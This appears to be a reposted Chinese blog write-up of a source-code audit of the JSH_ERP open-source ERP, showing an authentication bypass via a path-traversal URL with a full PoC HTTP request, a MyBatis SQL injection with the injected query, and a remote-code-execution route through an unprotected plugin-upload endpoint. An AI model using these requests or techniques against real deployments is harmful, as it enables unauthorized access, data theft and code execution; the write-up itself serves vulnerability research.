|
原文链接:某开源ERP最新版SQL与RCE的审计过程
前言
代码路径
- https://gitee.com/jishenghua/JSH_ERP
软件版本
源码审计的流程都是一样,从外部输入点开始跟踪数据流,判断数据处理过程中是否存在一些常见的漏洞模式,比如外部数据直接拼接到SQL语句,就导致了SQL注入漏洞。
对于Web应用来说常见外部数据入口有
- Filter
- 处理Url请求的Controller
查找这些入口的方式有很多,比如查看系统配置文件(web.x ml),查看对应注解,或者先抓包找到想看的请求,然后根据字符串来进行定位。
找到入口后就是跟踪数据流,着重关注权限检查、数据过滤、以及平时积累的漏洞模式(XXE、SQL注入等)
认证绕过系统存在一个 fliter,在 LogCostFilter 里面会检查 session 来判断用户是否登录,如果没有登录就会让他重定向到 login.html ,与漏洞相关代码如下
- <li><p><code>@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},</code></p></li><li><p><code> initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),</code></p></li><li><p><code> @WebInitParam(name = "filterPath",</code></p></li><li><p><code> value = "/user/login#/user/registerUser#/v2/api-docs")})</code></p></li><li><p><code>public class LogCostFilter implements Filter {</code></p></li><li><p><code> @Override</code></p></li><li><p><code> public void doFilter(ServletRequest request, ServletResponse response,</code></p></li><li><p><code> FilterChain chain) throws IOException, ServletException {</code></p></li><li><p><code> HttpServletRequest servletRequest = (HttpServletRequest) request;</code></p></li><li><p><code> HttpServletResponse servletResponse = (HttpServletResponse) response;</code></p></li><li><p><code> String requestUrl = servletRequest.getRequestURI();</code></p></li><li><p><code> //具体,比如:处理若用户未登录,则跳转到登录页</code></p></li><li><p><code> O bject userInfo = servletRequest.getSession().getAttribute("user");</code></p></li><li><p><code> if(userInfo!=null) { //如果已登录,不阻止</code></p></li><li><p><code> chain.doFilter(request, response);</code></p></li><li><p><code> return;</code></p></li><li><p><code> }</code></p></li><li><p><code> if (requestUrl != null &amp;&amp; (requestUrl.contains("/doc.html") ||</code></p></li><li><p><code> requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {</code></p></li><li><p><code> chain.doFilter(request, response);</code></p></li><li><p><code> return;</code></p></li><li><p><code> }</code></p></li>
复制代码
首先通过 getRequestURI 获取到请求 url,然后判断 session 中是否存在 user 属性,如果不为null,就表示已经登录了直接放行,否则会对 requestUrl 进行判断,如果包含 login.html、doc.html、register.html就表示不需要登录直接放行,但是这里使用的是 contains 方法,只要字符串里面带这些字符串即可通过校验
poc
- <li><p><code>GET /depotHead/login.html/../list?search=aaa&amp;currentPage=1&amp;pageSize=10&amp;t=1618229175662 HTTP/1.1</code></p></li><li><p><code>Host: 192.168.245.1:9978</code></p></li><li><p><code>Accept: application/json, text/j avas cript, */*; q=0.01</code></p></li><li><p><code>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36</code></p></li><li><p><code>X-Requested-With: x mlHttpRequest</code></p></li><li><p><code>Accept-Encoding: gzip, deflate</code></p></li><li><p><code>Accept-Language: zh-CN,zh;q=0.9</code></p></li><li><p><code>Connection: close</code></p></li>
复制代码
使用上面请求即可访问到 /depotHead/list 对于的 controller.
sql注入处理函数时 getDepotHeadList
可以看到 subType 里面有注入的数据,继续跟进
selectByConditionDepotHead 应该是 配置mybatis 时需要的方法,安装 MyBatisCodeHelper-Pro 插件后点击方法左边的logo即可跳转到对应的x ml配置文件
可以看到配置文件使用 $ 对用户数据进行拼接,导致SQL注入
在分析过程中可以在 application.properties 里面增加配置,让 mybatis 打印出会执行的 sql 语句
- logging.level.com.jsh.erp.datasource.mappers.*=debug
复制代码
最后执行的 sql 语句如下
- Execute SQL:SELECT COUNT(1) FROM (SELECT DISTINCT dh.* FROM jsh_depot_head dh LEFT JOIN jsh_depot_item di ON dh.Id = di.header_id AND ifnull(di.delete_flag, '0') != '1' LEFT JOIN jsh_material m ON di.material_id = m.Id AND ifnull(m.delete_Flag, '0') != '1' WHERE 1 = 1 AND dh.type = '其它' AND dh.sub_type = '采购订单' OR '' = '' AND (m.name LIKE '%22222222222222%' OR m.standard LIKE '%22222222222222%' OR m.model LIKE '%22222222222222%') AND ifnull(dh.delete_Flag, '0') != '1') tb
复制代码
可以看到 sql 语句被注入成了恒等,所以会把所有数据返回。
RCE软件有一个”隐藏”的Controller
- <li><p><code> /**</code></p></li><li><p><code> * 上传并安装插件。注意: 该操作只适用于生产环境</code></p></li><li><p><code> * @param multipartFile 上传文件 multipartFile</code></p></li><li><p><code> * @return 操作结果</code></p></li><li><p><code> */</code></p></li><li><p><code> @PostMapping("/uploadInstallPluginJar")</code></p></li><li><p><code> public String install(@RequestParam("jarFile") MultipartFile multipartFile){</code></p></li><li><p><code> try {</code></p></li><li><p><code> if(pluginOperator.uploadPluginAndStart(multipartFile)){</code></p></li><li><p><code> return "install success";</code></p></li><li><p><code> } else {</code></p></li><li><p><code> return "install failure";</code></p></li><li><p><code> }</code></p></li><li><p><code> } catch (Exception e) {</code></p></li><li><p><code> e.printStackTrace();</code></p></li><li><p><code> return "install failure : " + e.getMessage();</code></p></li><li><p><code> }</code></p></li><li><p><code> }</code></p></li>
复制代码
用户可以上传一个符合格式的jar包到这个接口,这里就会通过 uploadPluginAndStart 上传并安装插件,插件的格式可以参考下面链接
- https://gitee.com/starblues/springboot-plugin-f ramework-parent
需要额外注意的一点是,编译出来的demo插件,需要修改jar包的manifest文件,增加几个字段
在 DefinPlugin 类里面增加恶意代码,当插件加载后就会执行。
当前版本有一个限制,或者说该功能有bug,需要手动创建 plugins 目录(或者系统之前已经安装过插件)才能安装新插件到该目录。
|
|